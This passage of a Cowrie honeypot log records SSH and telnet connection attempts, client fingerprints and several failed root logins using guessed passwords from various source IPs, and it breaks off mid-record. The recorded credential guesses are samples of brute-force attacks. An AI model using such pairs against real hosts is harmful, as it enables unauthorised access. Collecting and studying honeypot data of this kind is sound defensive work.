{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"21612aa35b09","protocol":"ssh","message":"New connection: 103.149.170.125:59730 (159.203.135.109:22) [session: 21612aa35b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:51.899124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:51.903712Z","src_ip":"103.149.170.125","session":"21612aa35b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.659987688064575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:52.092870Z","src_ip":"50.6.8.71","session":"3c88c4e660c4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:52.175024Z","src_ip":"103.149.170.125","session":"21612aa35b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:53.865045Z","src_ip":"103.149.170.125","session":"21612aa35b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:55.141467Z","src_ip":"103.149.170.125","session":"21612aa35b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.47237467765808,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:57.725481Z","src_ip":"50.6.8.71","session":"a7d94903e448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56450,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0876be9b0f","protocol":"telnet","message":"New connection: 50.6.8.71:56450 (10.17.0.5:23) [session: 2e0876be9b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:58.514084Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35490,"dst_ip":"159.203.135.109","dst_port":22,"session":"06b3b3af4ede","protocol":"ssh","message":"New connection: 77.94.47.83:35490 (159.203.135.109:22) [session: 06b3b3af4ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:01.673563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:01.679377Z","src_ip":"77.94.47.83","session":"06b3b3af4ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:01.805979Z","src_ip":"77.94.47.83","session":"06b3b3af4ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:02.190030Z","src_ip":"77.94.47.83","session":"06b3b3af4ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:03.321903Z","src_ip":"77.94.47.83","session":"06b3b3af4ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83135509490967,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:05.454720Z","src_ip":"50.6.8.71","session":"9fd6d5848894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5b04200170","protocol":"telnet","message":"New connection: 50.6.8.71:38858 (10.17.0.5:23) [session: bf5b04200170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:08.216981Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38860,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1d487b9498","protocol":"telnet","message":"New connection: 50.6.8.71:38860 (10.17.0.5:23) [session: 1b1d487b9498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:10.023517Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38866,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcee33008167","protocol":"telnet","message":"New connection: 50.6.8.71:38866 (10.17.0.5:23) [session: bcee33008167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:10.030978Z"}
{"eventid":"cowrie.session.closed","duration":45.77280950546265,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:10.426628Z","src_ip":"50.6.8.71","session":"dd94f3a2860b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"077ff114bc10","protocol":"telnet","message":"New connection: 50.6.8.71:59934 (10.17.0.5:23) [session: 077ff114bc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:19.923324Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59946,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6060199e5cf","protocol":"telnet","message":"New connection: 50.6.8.71:59946 (10.17.0.5:23) [session: d6060199e5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:24.267022Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f833a80fa83","protocol":"telnet","message":"New connection: 50.6.8.71:59954 (10.17.0.5:23) [session: 1f833a80fa83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:24.591727Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ca8c0733b9","protocol":"telnet","message":"New connection: 50.6.8.71:59966 (10.17.0.5:23) [session: 59ca8c0733b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:26.158555Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59150,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af672743324","protocol":"telnet","message":"New connection: 50.6.8.71:59150 (10.17.0.5:23) [session: 2af672743324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:26.447133Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":56268,"dst_ip":"159.203.135.109","dst_port":22,"session":"34e391fe03f7","protocol":"ssh","message":"New connection: 103.82.132.16:56268 (159.203.135.109:22) [session: 34e391fe03f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:28.093612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:28.098423Z","src_ip":"103.82.132.16","session":"34e391fe03f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55528688430786,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:28.257135Z","src_ip":"50.6.8.71","session":"6ee80aa40371","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:28.361979Z","src_ip":"103.82.132.16","session":"34e391fe03f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:29.152253Z","src_ip":"103.82.132.16","session":"34e391fe03f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84e82cb39d2","protocol":"telnet","message":"New connection: 50.6.8.71:59154 (10.17.0.5:23) [session: e84e82cb39d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:30.160327Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:30.419962Z","src_ip":"103.82.132.16","session":"34e391fe03f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88726592063904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:35.401213Z","src_ip":"50.6.8.71","session":"2e0876be9b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39021039009094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:41.607048Z","src_ip":"50.6.8.71","session":"bf5b04200170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11766338348389,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:45.141058Z","src_ip":"50.6.8.71","session":"1b1d487b9498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.568403244018555,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:49.599286Z","src_ip":"50.6.8.71","session":"bcee33008167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07990574836731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:54.003125Z","src_ip":"50.6.8.71","session":"077ff114bc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c09adbd6a8","protocol":"telnet","message":"New connection: 50.6.8.71:45748 (10.17.0.5:23) [session: a2c09adbd6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:02:55.793622Z"}
{"eventid":"cowrie.session.closed","duration":36.04722762107849,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:00.638856Z","src_ip":"50.6.8.71","session":"1f833a80fa83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56773376464844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:02.014778Z","src_ip":"50.6.8.71","session":"2af672743324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89131212234497,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:07.051532Z","src_ip":"50.6.8.71","session":"e84e82cb39d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47160,"dst_ip":"159.203.135.109","dst_port":22,"session":"442f94754268","protocol":"ssh","message":"New connection: 37.233.85.71:47160 (159.203.135.109:22) [session: 442f94754268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:08.777108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:08.781513Z","src_ip":"37.233.85.71","session":"442f94754268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:08.882033Z","src_ip":"37.233.85.71","session":"442f94754268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:09.181600Z","src_ip":"37.233.85.71","session":"442f94754268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.85700869560242,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:10.015444Z","src_ip":"50.6.8.71","session":"59ca8c0733b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:10.287902Z","src_ip":"37.233.85.71","session":"442f94754268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.080371379852295,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:10.347273Z","src_ip":"50.6.8.71","session":"d6060199e5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b25fdcd869f","protocol":"telnet","message":"New connection: 50.6.8.71:35296 (10.17.0.5:23) [session: 7b25fdcd869f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:20.634992Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ff879617c1b","protocol":"telnet","message":"New connection: 50.6.8.71:35282 (10.17.0.5:23) [session: 0ff879617c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:23.056832Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41058,"dst_ip":"10.17.0.5","dst_port":23,"session":"0570b20548d0","protocol":"telnet","message":"New connection: 50.6.8.71:41058 (10.17.0.5:23) [session: 0570b20548d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:26.062701Z"}
{"eventid":"cowrie.session.closed","duration":7.904406785964966,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:30.961111Z","src_ip":"50.6.8.71","session":"0ff879617c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38911581039429,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:33.182592Z","src_ip":"50.6.8.71","session":"a2c09adbd6a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58398,"dst_ip":"10.17.0.5","dst_port":23,"session":"28947f100af3","protocol":"telnet","message":"New connection: 50.6.8.71:58398 (10.17.0.5:23) [session: 28947f100af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:35.860008Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9fc8ecd8e2f","protocol":"telnet","message":"New connection: 50.6.8.71:58406 (10.17.0.5:23) [session: b9fc8ecd8e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:36.791207Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58416,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1de28795e12","protocol":"telnet","message":"New connection: 50.6.8.71:58416 (10.17.0.5:23) [session: a1de28795e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:36.947602Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41060,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f448845b3c","protocol":"telnet","message":"New connection: 50.6.8.71:41060 (10.17.0.5:23) [session: 19f448845b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:42.128996Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58440,"dst_ip":"10.17.0.5","dst_port":23,"session":"a22161e99a35","protocol":"telnet","message":"New connection: 50.6.8.71:58440 (10.17.0.5:23) [session: a22161e99a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:44.304763Z"}
{"eventid":"cowrie.session.closed","duration":33.65601110458374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:03:54.290853Z","src_ip":"50.6.8.71","session":"7b25fdcd869f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47702,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6990f9a598","protocol":"ssh","message":"New connection: 109.172.54.111:47702 (10.17.0.5:22) [session: 5e6990f9a598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:00.658858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:00.664409Z","src_ip":"109.172.54.111","session":"5e6990f9a598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-